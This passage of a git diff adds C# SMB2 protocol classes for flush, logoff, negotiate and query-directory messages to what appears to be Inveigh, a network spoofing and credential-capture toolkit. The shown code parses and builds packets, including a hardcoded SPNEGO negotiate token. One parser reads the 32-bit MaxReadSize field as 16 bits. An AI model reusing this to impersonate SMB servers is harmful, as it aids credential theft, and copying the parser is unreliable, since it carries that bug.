+ public byte Reserved { get; set; }
+ public uint ByteCount { get; set; }
+ public byte[] ErrorData { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2FlushRequest.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2FlushRequest.cs
new file mode 100644
index 0000000..ead7b7a
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2FlushRequest.cs
@@ -0,0 +1,47 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2FlushRequest
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e494678b-b1fc-44a0-b86e-8195acf74ad7
+ public ushort StructureSize { get; set; }
+ public ushort Reserved1 { get; set; }
+ public uint Reserved2 { get; set; }
+ public byte[] FileId { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2FlushResponse.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2FlushResponse.cs
new file mode 100644
index 0000000..cf48f1e
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2FlushResponse.cs
@@ -0,0 +1,45 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2flushResponse
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/42f78e6a-e25f-48f5-8f08-b4f1bb4c4fa4
+ public ushort StructureSize { get; set; }
+ public ushort Reserved { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2LogoffRequest.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2LogoffRequest.cs
new file mode 100644
index 0000000..0ab01e9
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2LogoffRequest.cs
@@ -0,0 +1,45 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2LogoffRequest
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/abdc4ea9-52df-480e-9a36-34f104797d2c
+ public ushort StructureSize { get; set; }
+ public byte[] Reserved { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2LogoffResponse.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2LogoffResponse.cs
new file mode 100644
index 0000000..b029745
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2LogoffResponse.cs
@@ -0,0 +1,45 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2LogoffResponse
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/7539feb4-6fbb-4996-81ac-06863bb1a89e
+ public ushort StructureSize { get; set; }
+ public byte[] Reserved { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2NegotiateResponse.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2NegotiateResponse.cs
new file mode 100644
index 0000000..e79210a
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2NegotiateResponse.cs
@@ -0,0 +1,164 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.IO;
+using Quiddity.GSSAPI;
+using Quiddity.SPNEGO;
+using Quiddity.Support;
+
+namespace Quiddity.SMB2
+{
+ class SMB2NegotiateResponse
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/63abf97c-0d09-47e2-88d6-6bfa552949a5
+ public ushort StructureSize { get; set; }
+ public ushort SecurityMode { get; set; }
+ public byte[] DialectRivision { get; set; }
+ public ushort NegotiateContextCount { get; set; }
+ public byte[] ServerGUID { get; set; }
+ public byte[] Capabilities { get; set; }
+ public uint MaxTransactSize { get; set; }
+ public uint MaxReadSize { get; set; }
+ public uint MaxWriteSize { get; set; }
+ public byte[] SystemTime { get; set; } // todo create type
+ public byte[] ServerStartTime { get; set; }
+ public ushort SecurityBufferOffset { get; set; }
+ public ushort SecurityBufferLength { get; set; }
+ public uint NegotiateContextOffset { get; set; }
+ public byte[] Buffer { get; set; }
+ public byte[] Padding { get; set; } // todo check
+ public byte[] NegotiateContextList { get; set; }
+
+ public SMB2NegotiateResponse()
+ {
+ this.StructureSize = 65;
+ this.SecurityMode = 1;
+ this.DialectRivision = new byte[2];
+ this.NegotiateContextCount = 0;
+ this.ServerGUID = new byte[16];
+ this.Capabilities = new byte[4];
+ this.MaxTransactSize = 8388608;
+ this.MaxReadSize = 8388608;
+ this.MaxWriteSize = 8388608;
+ this.SystemTime = BitConverter.GetBytes(DateTime.Now.ToFileTime()); ;
+ this.ServerStartTime = new byte[8];
+ this.SecurityBufferOffset = 128;
+ this.SecurityBufferLength = 320;
+ this.NegotiateContextOffset = 0;
+ this.Buffer = new byte[0];
+ this.Padding = new byte[0]; // todo check
+ this.NegotiateContextList = new byte[0];
+ }
+
+ public SMB2NegotiateResponse(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.StructureSize);
+ packetWriter.Write(this.SecurityMode);
+ packetWriter.Write(this.DialectRivision);
+ packetWriter.Write(this.NegotiateContextCount);
+ packetWriter.Write(this.ServerGUID);
+ packetWriter.Write(this.Capabilities);
+ packetWriter.Write(this.MaxTransactSize);
+ packetWriter.Write(this.MaxReadSize);
+ packetWriter.Write(this.MaxWriteSize);
+ packetWriter.Write(this.SystemTime);
+ packetWriter.Write(this.ServerStartTime);
+ packetWriter.Write(this.SecurityBufferOffset);
+ packetWriter.Write(this.SecurityBufferLength);
+ packetWriter.Write(this.NegotiateContextOffset);
+ packetWriter.Write(this.Buffer);
+
+ if (!Utilities.ArrayIsNullOrEmpty(NegotiateContextList))
+ {
+ packetWriter.Write(this.NegotiateContextList);
+ }
+
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.StructureSize = packetReader.ReadUInt16();
+ this.SecurityMode = packetReader.ReadUInt16();
+ this.DialectRivision = packetReader.ReadBytes(2);
+ this.NegotiateContextCount = packetReader.ReadUInt16();
+ this.ServerGUID = packetReader.ReadBytes(16);
+ this.Capabilities = packetReader.ReadBytes(4);
+ this.MaxTransactSize = packetReader.ReadUInt32();
+ this.MaxReadSize = packetReader.ReadUInt16();
+ this.MaxWriteSize = packetReader.ReadUInt32();
+ this.SystemTime = packetReader.ReadBytes(8);
+ this.ServerStartTime = packetReader.ReadBytes(8);
+ this.SecurityBufferOffset = packetReader.ReadUInt16();
+ this.SecurityBufferLength = packetReader.ReadUInt16();
+ this.NegotiateContextOffset = packetReader.ReadUInt32();
+ this.Buffer = packetReader.ReadBytes(8);
+ }
+
+ }
+
+ public void EncodeBuffer()
+ {
+ GSSAPIInitSecContext gssapi = new GSSAPIInitSecContext();
+ SPNEGONegTokenInit spnego = new SPNEGONegTokenInit();
+ spnego.MechTypes = new byte[24] { 0x06, 0x0a, 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x1e, 0x06, 0x0a, 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0a };
+ spnego.MechToken = new byte[264] { 0x4e, 0x45, 0x47, 0x4f, 0x45, 0x58, 0x54, 0x53, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, 0x45, 0x42, 0x37, 0xe2, 0x9c, 0xec, 0xed, 0x6a, 0x73, 0x8a, 0x3e, 0x19, 0x27, 0xdc, 0xa0, 0xb0, 0x64, 0x56, 0x91, 0x92, 0xb4, 0x5c, 0x3d, 0x8d, 0xba, 0x32, 0xd3, 0xb1, 0x31, 0xbc, 0xab, 0x29, 0xfa, 0x47, 0x3d, 0xeb, 0x87, 0x6e, 0x53, 0xd7, 0x0c, 0x91, 0x91, 0xb1, 0xae, 0x9e, 0x6b, 0xd0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5c, 0x33, 0x53, 0x0d, 0xea, 0xf9, 0x0d, 0x4d, 0xb2, 0xec, 0x4a, 0xe3, 0x78, 0x6e, 0xc3, 0x08, 0x4e, 0x45, 0x47, 0x4f, 0x45, 0x58, 0x54, 0x53, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x98, 0x00, 0x00, 0x00, 0x45, 0x42, 0x37, 0xe2, 0x9c, 0xec, 0xed, 0x6a, 0x73, 0x8a, 0x3e, 0x19, 0x27, 0xdc, 0xa0, 0xb0, 0x5c, 0x33, 0x53, 0x0d, 0xea, 0xf9, 0x0d, 0x4d, 0xb2, 0xec, 0x4a, 0xe3, 0x78, 0x6e, 0xc3, 0x08, 0x40, 0x00, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x30, 0x56, 0xa0, 0x54, 0x30, 0x52, 0x30, 0x27, 0x80, 0x25, 0x30, 0x23, 0x31, 0x21, 0x30, 0x1f, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x18, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x20, 0x53, 0x69, 0x67, 0x6e, 0x69, 0x6e, 0x67, 0x20, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x20, 0x4b, 0x65, 0x79, 0x30, 0x27, 0x80, 0x25, 0x30, 0x23, 0x31, 0x21, 0x30, 0x1f, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x18, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x20, 0x53, 0x69, 0x67, 0x6e, 0x69, 0x6e, 0x67, 0x20, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x20, 0x4b, 0x65, 0x79 };
+ byte[] mechTokenSegment = ASN1.Encode(4, spnego.MechToken);
+ mechTokenSegment = ASN1.Encode(162, mechTokenSegment);
+ byte[] mechTypesSegment = ASN1.Encode(48, spnego.MechTypes);
+ mechTypesSegment = ASN1.Encode(160, mechTypesSegment);
+ byte[] negTokenInitSegment = Utilities.BlockCopy(mechTypesSegment, mechTokenSegment);
+ negTokenInitSegment = ASN1.Encode(48, negTokenInitSegment);
+ negTokenInitSegment = ASN1.Encode(160, negTokenInitSegment);
+ byte[] gssapiData = Utilities.BlockCopy(gssapi.OID, negTokenInitSegment);
+ this.Buffer = ASN1.Encode(96, gssapiData);
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2NegotiatelRequest.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2NegotiatelRequest.cs
new file mode 100644
index 0000000..884c3af
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2NegotiatelRequest.cs
@@ -0,0 +1,118 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+using Quiddity.Support;
+using System;
+using System.IO;
+
+namespace Quiddity.SMB2
+{
+
+ class SMB2NegotiatelRequest
+ {
+ //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
+ public ushort StructureSize { get; set; }
+ public ushort DialectCount { get; set; }
+ public ushort SecurityMode { get; set; }
+ public byte[] Reserved { get; set; }
+ public byte[] Capabilities { get; set; }
+ public byte[] ClientGUID { get; set; }
+ public uint NegotiateContextOffset { get; set; }
+ public ushort NegotiateContextCount { get; set; }
+ public byte[] Reserved2 { get; set; }
+ public byte[] ClientStartTime { get; set; }
+ public byte[] Dialects { get; set; }
+ public byte[] Padding { get; set; } // todo check
+ public byte[] NegotiateContextList { get; set; }
+
+ public SMB2NegotiatelRequest(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.StructureSize);
+ packetWriter.Write(this.DialectCount);
+ packetWriter.Write(this.SecurityMode);
+ packetWriter.Write(this.Reserved);
+ packetWriter.Write(this.Capabilities);
+ packetWriter.Write(this.ClientGUID);
+ packetWriter.Write(this.NegotiateContextOffset);
+ packetWriter.Write(this.NegotiateContextCount);
+ packetWriter.Write(this.Reserved2);
+ packetWriter.Write(this.ClientStartTime);
+ packetWriter.Write(this.Dialects);
+ packetWriter.Write(this.Padding);
+ packetWriter.Write(this.NegotiateContextList);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ public ushort GetMaxDialect()
+ {
+ byte[] maxDialectData = new byte[2];
+ maxDialectData[0] = this.Dialects[this.Dialects.Length - 2];
+ maxDialectData[1] = this.Dialects[this.Dialects.Length - 1];
+ return Utilities.DataToUInt16(maxDialectData);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.StructureSize = packetReader.ReadUInt16();
+ this.DialectCount = packetReader.ReadUInt16();
+ this.SecurityMode = packetReader.ReadUInt16();
+ this.Reserved = packetReader.ReadBytes(2);
+ this.Capabilities = packetReader.ReadBytes(4);
+ this.ClientGUID = packetReader.ReadBytes(16);
+ this.NegotiateContextOffset = packetReader.ReadUInt32();
+ this.NegotiateContextCount = packetReader.ReadUInt16();
+ this.Reserved2 = packetReader.ReadBytes(2);
+ this.Dialects = packetReader.ReadBytes(this.DialectCount * 2);
+ this.Padding = packetReader.ReadBytes(8);
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryRequest.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryRequest.cs
new file mode 100644
index 0000000..43c51b2
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryRequest.cs
@@ -0,0 +1,70 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ enum FileInformationClass : byte
+ {
+ FileDirectoryInformation = 0x01,
+ FileFullDirectoryInformation = 0x02,
+ FileIdFullDirectoryInformation = 0x26,
+ FileBothDirectoryInformation = 0x03,
+ FileIdBothDirectoryInformation = 0x25,
+ FileNamesInformation = 0x0C
+ }
+
+ enum QueryDirectoryRequestFlags : byte
+ {
+ SMB2_RESTART_SCANS = 0x01,
+ SMB2_RETURN_SINGLE_ENTRY = 0x02,
+ SMB2_INDEX_SPECIFIED = 0x04,
+ SMB2_REOPEN = 0x10
+ }
+
+ class SMB2QueryDirectoryRequest
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/10906442-294c-46d3-8515-c277efe1f752
+ public ushort StructureSize { get; set; }
+ public byte FileInformationClass { get; set; }
+ public byte Flags { get; set; }
+ public uint FileIndex { get; set; }
+ public byte[] FileId { get; set; }
+ public uint FileNameOffset { get; set; }
+ public uint FileNameLength { get; set; }
+ public uint OutputBufferLength { get; set; }
+ public byte[] Buffer { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryResponse.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryResponse.cs
new file mode 100644
index 0000000..43534ed
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryResponse.cs
@@ -0,0 +1,47 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
